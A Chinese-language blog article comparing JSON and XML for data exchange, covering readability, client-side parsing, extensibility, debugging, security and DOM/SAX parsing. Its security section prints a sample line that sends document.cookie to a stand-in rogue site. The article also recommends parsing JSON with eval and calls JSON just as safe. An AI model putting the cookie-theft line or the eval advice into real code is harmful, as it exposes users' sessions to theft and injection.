json與xml的區別

　　曾幾何時，XML是程式設計師的寵兒，是資料傳輸、API、AJAX應用等方面的不二選擇，但自從JSON橫空出世後，或者你會發覺你身邊就有很多人開 始拋棄XML，在他們的心目中，JSON已經完全取代了XML的位置。JSON有很多優勢，但也存在缺點，而XML雖然確實存在不少問題，但孰優孰劣，並不是可以依據個人喜好就輕易得出結論的。

　　JSON(Javascript Object Notation) 是一種輕量級的資料交換格式。易於人閱讀和編寫。同時也易於機器解析和生成。它基於Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON採用完全獨立於語言的文字格式，但是也使用了類似於C語言家族的習慣（包括C, C++, C#, Java, Javascript, Perl, Python等）。這些特性使JSON成為理想的資料交換語言。 正是因為這樣，twitter已經聲稱他們的流媒體API將不再支援XML，Foursquare則強烈推薦開發者在使用他們的API時選擇JSON，因 為他們計劃下一代介面只支援JSON。

　　我們將從下面幾個方面來客觀比較一下兩者

• 1. 可讀性
• 2. 是否易於在服務端建立資料
• 3. 是否易於在客戶端處理資料
• 4. 擴充套件性
• 5. 除錯和故障排除
• 6. 安全

　　可讀性

　　兩者都具備很好的可讀性，但從實際應用出發，個人還是覺得XML文件的可讀性無疑會更高，要求你從一大堆的json程式碼裡看出它的結構層次關係還是 相對比較困難的；而且現在很多的IDE工具都可以把XML格式化成易讀的結構形式，看起來相當舒服，而json則不然。在這一方面我投XML一票。

　　是否易於在服務端建立資料

　　XML已經流行了好多年了，故目前流行的程式語言都已經存在大量的XML資料繫結API去進行建立XML，以java語言為例，你既可以用JAXB，又可以用XmlBeans，又或者dom4j、jdom等去把資料寫到xml檔案中。而另一方面，json這一方面的API則相對是一個全新的領域，儘管如此，json官方網站還是列出了很多令人印象深刻的各種語言的API，java方面比較著名的有json-lib，此外gson也算一個。在這一方面，雖然json相對於XML並不是望塵莫及，但還是略微遜色一籌，尤其是在複雜的應用方面，XML方面的API已經存在多年，相對來說成熟穩定得多了。

　　是否易於在客戶端處理資料

　　在客戶端，要處理XMLHttpRequest請求返回的json格式響應資料是一件輕而易舉的事情，只需要使用javascript的eval函 數就可以實現把json格式的資料轉換成javascript物件，然後通過物件的屬性去訪問值，這就是json最優雅之處，無數人為之著迷。而XML在 這一方面就不是那麼的友善了，曾令無數的程式設計師頭痛不已，因為處理XML響應資料，你得通過DOM樹，這是非常繁瑣且容易出錯的工作。這一點，我毫不猶豫 地選擇json。

　　擴充套件性

　　可擴充套件性有助於減少生產者與消費者之間的資料耦合。在AJAX應用裡，客戶端指令碼應該合理地相容不可知的資料擴充套件。

　　毫無疑問，XML是可擴充套件的，但它的擴充套件是有侷限的，因為如果你要適應擴充套件的話，那麼你的客戶端程式碼不得不作出相應的改動，如以下的客戶端解析程式碼

var xml = xhr.responseXML;  
var elements = xml.getElementsByTagName("firstName");  
var firstNameEl = elements[0];  
var lastNameEl = firstNameEl.nextSibling;  

　　如果你在響應xml中<firstName>結點後增加了<middlename>這一結點的話，那以上的程式碼就要作相應 的改變，否則會出錯，也就是說，XML的擴充套件得伴隨著解析程式碼的變更，這可沒有什麼魔法可言。而json則簡單得多，即使你要增加middleName這 一屬性，在js客戶端依然是通過物件訪問屬性值即可，而不會引起js上的語法出錯之類的錯誤，導致程式無法執行。

　　除錯和故障排除

　　這方面需要從服務端和客戶端兩方面進行考慮，在伺服器端，要確保資料是格式良好的和有效的；在客戶端，它應該容易除錯錯誤的。

　　使用XML的話會相對容易地檢查資料被髮送到客戶端是格式良好的和有效的。您還可以使用資料架構（schema）來驗證xml的正確性和有效性。使用JSON，這個任務是手動的，並涉及驗證響應物件中是否包含正確的屬性。

　　在客戶端，要從兩者中找到錯誤都是比較困難的。對於XML，瀏覽器是完全無法將xml格式化成responseXML；如果對於資料量較少的json資料，還可以通過firebug來發現錯誤，但對於大資料量的話，那隻能靠手工檢查了，否則也只能坐以待斃了。

　　安全性

　　有人認為，使用json是不安全的，原因是json裡可以包含js程式碼，而客戶端中使用eval可以使這些程式碼執行，而這些程式碼可能會存在安全隱患。如以下的程式碼：

window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;  
person : {  
 "firstName" : "Subbu",  
 "lastName" : "Allamaraju"  
}  

　　上面的程式碼會導致瀏覽器把使用者的cookie資料提交到一個流氓網站。但出現這種情況的可能只會是開發者故意為之，別人是無法這樣做的，但如果是開 發者有意為之的話，那他一樣以別的方式來實現把你的cookie資料提交到流氓網站，這與是否使用json無關，所以相對於XML，json是同樣的安全 的。

　　資料交換格式比較之關於輕量級和重量級：

　　輕量級和重量級是相對來說的，那麼XML相對於JSON的重量級體現在哪呢？我想應該體現在解析上，XML目前設計了兩種解析方式：DOM和SAX；

　　DOM是把一個資料交換格式XML看成一個DOM物件，需要把XML檔案整個讀入記憶體，這一點上JSON和XML的原理是一樣的，但是XML要考慮 父節點和子節點，這一點上JSON的解析難度要小很多，因為JSON構建於兩種結構：key/value，鍵值對的集合；值的有序集合，可理解為陣列；

　　SAX不需要整個讀入文件就可以對解析出的內容進行處理，是一種逐步解析的方法。程式也可以隨時終止解析。這樣，一個大的文件就可以逐步的、一點一點的展現出來，所以SAX適合於大規模的解析。這一點，JSON目前是做不到得。

　　所以，JSON和XML的輕/重量級的區別在於：JSON只提供整體解析方案，而這種方法只在解析較少的資料時才能起到良好的效果；而XML提供了對大規模資料的逐步解析方案，這種方案很適合於對大量資料的處理。

　　資料交換格式比較之關於資料格式編碼及解析的難度：

　　在編碼上，雖然XML和JSON都有各自的編碼工具，但是JSON的編碼要比XML簡單，即使不借助工具，也可以寫出JSON程式碼，但要寫出好的 XML程式碼就有點困難；與XML一樣，JSON也是基於文字的，且它們都使用Unicode編碼，且其與資料交換格式XML一樣具有可讀性。

　　主觀上來看，JSON更為清晰且冗餘更少些。JSON網站提供了對JSON語法的嚴格描述，只是描述較簡短。從總體來看，XML比較適合於標記文件，而JSON卻更適於進行資料交換處理。

　　在解析上，在普通的web應用領域，開發者經常為XML的解析傷腦筋，無論是伺服器端生成或處理XML，還是客戶端用 JavaScript 解析XML，都常常導致複雜的程式碼，極低的開發效率。